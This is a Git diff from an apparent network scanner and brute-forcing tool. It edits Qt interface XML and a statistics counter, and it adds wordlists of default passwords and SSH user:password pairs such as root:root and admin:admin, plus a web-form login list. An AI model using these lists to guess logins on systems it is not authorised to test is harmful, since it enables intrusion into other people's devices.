<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="mouseTracking">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="focusPolicy">
|
||||
<enum>Qt::NoFocus</enum>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string/>
|
||||
</property>
|
||||
<property name="frame">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="readOnly">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTableView" name="BATableView">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>445</y>
|
||||
<width>453</width>
|
||||
<height>326</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: rgb(26, 26,26); border: 1px solid white;</string>
|
||||
</property>
|
||||
<property name="locale">
|
||||
<locale language="English" country="UnitedStates"/>
|
||||
</property>
|
||||
<property name="frameShape">
|
||||
<enum>QFrame::NoFrame</enum>
|
||||
</property>
|
||||
<property name="frameShadow">
|
||||
<enum>QFrame::Plain</enum>
|
||||
</property>
|
||||
<property name="horizontalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
<property name="selectionMode">
|
||||
<enum>QAbstractItemView::SingleSelection</enum>
|
||||
</property>
|
||||
<property name="selectionBehavior">
|
||||
<enum>QAbstractItemView::SelectRows</enum>
|
||||
</property>
|
||||
<property name="cornerButtonEnabled">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<attribute name="horizontalHeaderVisible">
|
||||
<bool>false</bool>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderVisible">
|
||||
<bool>false</bool>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderDefaultSectionSize">
|
||||
<number>20</number>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderMinimumSectionSize">
|
||||
<number>10</number>
|
||||
</attribute>
|
||||
</widget>
|
||||
<zorder>BATableView</zorder>
|
||||
<zorder>graphicTextPlacer</zorder>
|
||||
<zorder>BAText</zorder>
|
||||
<zorder>labelNesca_3</zorder>
|
||||
<zorder>tabMainWidget</zorder>
|
||||
<zorder>line</zorder>
|
||||
<zorder>exitButton</zorder>
|
||||
<zorder>dataText</zorder>
|
||||
<zorder>labelStatus</zorder>
|
||||
<zorder>labelStatus_Value</zorder>
|
||||
<zorder>line_2</zorder>
|
||||
<zorder>RedLabel</zorder>
|
||||
<zorder>YellowLabel</zorder>
|
||||
@ -3159,7 +3112,6 @@ background-color: #000000;</string>
|
||||
<zorder>graphicLog_2</zorder>
|
||||
<zorder>graphicLog_Upper</zorder>
|
||||
<zorder>switcherBut</zorder>
|
||||
<zorder>labelTracker</zorder>
|
||||
<zorder>graphicActivityGrid</zorder>
|
||||
<zorder>graphicActivity</zorder>
|
||||
<zorder>VoiceScanBut</zorder>
|
||||
@ -3188,6 +3140,7 @@ background-color: #000000;</string>
|
||||
<zorder>labelRunningThreads</zorder>
|
||||
<zorder>labelSavedValue</zorder>
|
||||
<zorder>labelSaved</zorder>
|
||||
<zorder>currentDirectoryLine</zorder>
|
||||
</widget>
|
||||
<widget class="QWidget" name="widgetJOB" native="true">
|
||||
<property name="geometry">
|
||||
|
54
pass.txt
54
pass.txt
@ -0,0 +1,54 @@
|
||||
12345
|
||||
root
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
|
||||
|
||||
123123
|
||||
pass
|
||||
qwerty
|
||||
meinsm
|
||||
monitor
|
||||
user
|
||||
support
|
||||
test
|
||||
sysadm
|
||||
admin123
|
||||
Admin
|
||||
123321
|
||||
12344321
|
||||
toor
|
||||
qwerty123
|
||||
1q2w3e4r
|
||||
987654321
|
||||
system
|
||||
111111
|
||||
1111
|
||||
654321
|
||||
54321
|
||||
!@#$%^
|
||||
0000
|
||||
000000
|
||||
master
|
||||
12345678
|
||||
666666
|
||||
888888
|
||||
88888888
|
||||
777777
|
||||
555555
|
||||
123321123
|
||||
222222
|
||||
333333
|
||||
444444
|
||||
999999
|
||||
111222333
|
||||
123123123
|
||||
123454321
|
||||
0123456789
|
||||
qqqqqq
|
||||
administrator
|
||||
backup
|
||||
super
|
||||
ubnt
|
@ -11,14 +11,14 @@ void PieStat::run()
|
||||
while(PieStatFlag)
|
||||
{
|
||||
psTh->doEmitUpdatePie();
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
msleep(500);
|
||||
};
|
||||
|
2473
qrc_nesca_3.cpp
2473
qrc_nesca_3.cpp
File diff suppressed because it is too large
Load Diff
29
sshpass.txt
29
sshpass.txt
@ -0,0 +1,29 @@
|
||||
hw230f8034t:17932yhf823
|
||||
admin:
|
||||
root:root
|
||||
root:admin
|
||||
admin:admin
|
||||
admin:root
|
||||
backup:backup
|
||||
guest:guest
|
||||
root:master
|
||||
root:1234
|
||||
admin:master
|
||||
admin:111111
|
||||
root:12345
|
||||
root:123456
|
||||
admin:1234
|
||||
admin:12345
|
||||
root:12345678
|
||||
root:123123
|
||||
admin:123456
|
||||
admin:12345678
|
||||
root:654321
|
||||
admin:123123
|
||||
admin:654321
|
||||
root:password
|
||||
admin:pasword
|
||||
root:1qazXSW@
|
||||
test:test
|
||||
:
|
||||
user:user
|
@ -0,0 +1,3 @@
|
||||
[FAIL]
|
||||
admin
|
||||
root
|
10
wfpass.txt
10
wfpass.txt
@ -0,0 +1,10 @@
|
||||
[FAIL]
|
||||
admin
|
||||
root
|
||||
pass
|
||||
password
|
||||
toor
|
||||
123123
|
||||
123456
|
||||
12345
|
||||
qwerty
|
Loading…
Reference in New Issue
Block a user